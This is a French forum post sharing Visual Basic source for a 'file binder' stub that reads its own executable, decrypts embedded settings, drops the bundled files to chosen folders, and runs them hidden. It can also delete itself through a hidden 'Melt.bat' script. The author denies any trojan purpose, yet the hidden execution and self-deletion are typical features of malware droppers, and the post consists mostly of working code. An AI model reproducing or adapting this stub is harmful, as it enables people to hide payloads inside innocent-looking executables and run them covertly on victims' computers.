Yop, Bon voici la source d'un programme que j'ai codé il y a quelque temps. C'est un binder de fichiers aka joindre plusieurs fichiers en 1 executable qui les extraira a l'execution. On peut binder un nombre infini de fichiers, de n'importe quelles extensions, on peut choisir leur execution ou non (ShellExecute ouvrira le fichier avec l'application associé en cas de non exe). On peut faire en sorte que l'executable s'efface une fois le travail accompli. C'est un bonne exemple pour travailler sur le contenu d'un fichier (ouverture binaire, recuperation de parametres etc)
ATTENTION: CETTE SOURCE N EST PAS FAITES POUR UN USAGE MALICIEUX, J INSISTE, VEUILLEZ EN PRENDRE NOTE. CECI N A STRICTEMENT RIEN A VOIR AVEC UN CHEVAL DE TROIE MERCI.
Source / Exemple :
Public Sub Main()
On Error Resume Next
'Declarations
Dim StrFile As String 'data du stub, stub data
Dim StrBuffer As String 'Chaine de params utilisateur, user param's string
Dim z, y As Long 'Var long, for var
Dim LngParam(1 To 2) As Long 'Ret instr, returned instr
Dim strSplited() As String 'Param Split "#"
'''''''''''''''''''''''''''''''
Dim StrExec As String 'Param execution
Dim strFilePath As String 'Param path
Dim LngFileLen As Long 'param taille de fichier, param file size
Dim LngFileName As String 'Param Nom du fichier, param filename
Dim LngCursor As Long 'Pointeur de position dans StrFile, file position pointer
'''''''''''''
'A_ On récupere le code du stub
'A_ all the stub code in the string
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
StrFile = Space(FileLen(App.Path & "\" & App.EXEName & ".exe"))
Get #1, 1, StrFile
Close #1
'''''''''''''''''''''''''''''''
'B _ On isole les params utilisateurs
'B _ user param get
LngParam(1) = InStr(1, StrFile, "<&&>", vbBinaryCompare)
LngParam(2) = InStr(1, StrFile, "###", vbBinaryCompare)
StrBuffer = Mid(StrFile, LngParam(1) + 5, LngParam(2))
'''''''''''''''''''''''''''''''''''''
StrBuffer = Decrypt(StrBuffer)
'C _On Récupere la liste des taches
'C _Get task list (user param all)
strSplited1 = Split(StrBuffer, "###")
LngCursor = strSplited1(0)
'''''''''''''''''''''''''''''''''''
'E _Boucle de Déploiement des fichiers
'E _File deployment loop
For z = 1 To UBound(strSplited1()) - 1
'E1 _Split des specs fichiers
'E1 _User param get (file)
strSplited() = Split(strSplited1(z), "|")
'''''''''''''''''''''''''''''
'E2 _Assignation des specs aux variables
'E2 _User param variables assignment
strFilePath = strSplited(1)
LngFileLen = strSplited(2)
LngFileName = strSplited(3)
StrExec = strSplited(4)
StrBuffer = Mid(StrFile, LngCursor + 1, LngFileLen)
''''''''''''''''''''''''''''''''''''''''
'E3 _Ecriture du fichier
'E3 _ File writing
If Dir(InstallPath(strFilePath) & LngFileName) <> "" Then Kill (InstallPath(strFilePath) & LngFileName)
Open InstallPath(strFilePath) & LngFileName For Binary As #1
Put #1, LOF(1) + 1, StrBuffer
Close #1
''''''''''''''''''''''''
'E4 _Mise a jour du pointeur
'E4 _Cursor update
LngCursor = LngCursor + LngFileLen + 1
'''''''''''''''''''''''''''
'E6 _Param Execution
If StrExec = "Yes" Then ShellExecute hwnd, "open", InstallPath(strFilePath) & LngFileName, vbNullString, vbNullString, SW_HIDE
''''''''''''''''''''
Next z
1 DoEvents
'G _Melt du Stub
If strSplited1(UBound(strSplited1()) - 1) = "Yes" Then
Open InstallPath("Temp Directory") & "Melt.bat" For Output As #1
Print #1, "@Echo off"
Print #1, ":Begin"
Print #1, "Del " & App.EXEName & ".exe"
Print #1, "If Exist " & App.Path & "\" & App.EXEName & ".exe" & " Goto Begin"
Print #1, "Del " & InstallPath("Temp Directory") & "Melt.bat"
Close #1
Shell InstallPath("Temp Directory") & "Melt.bat", vbHide
End If
'''''''''''''''''
DoEvents
End Sub
Conclusion :
Le reste est dans le zip
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.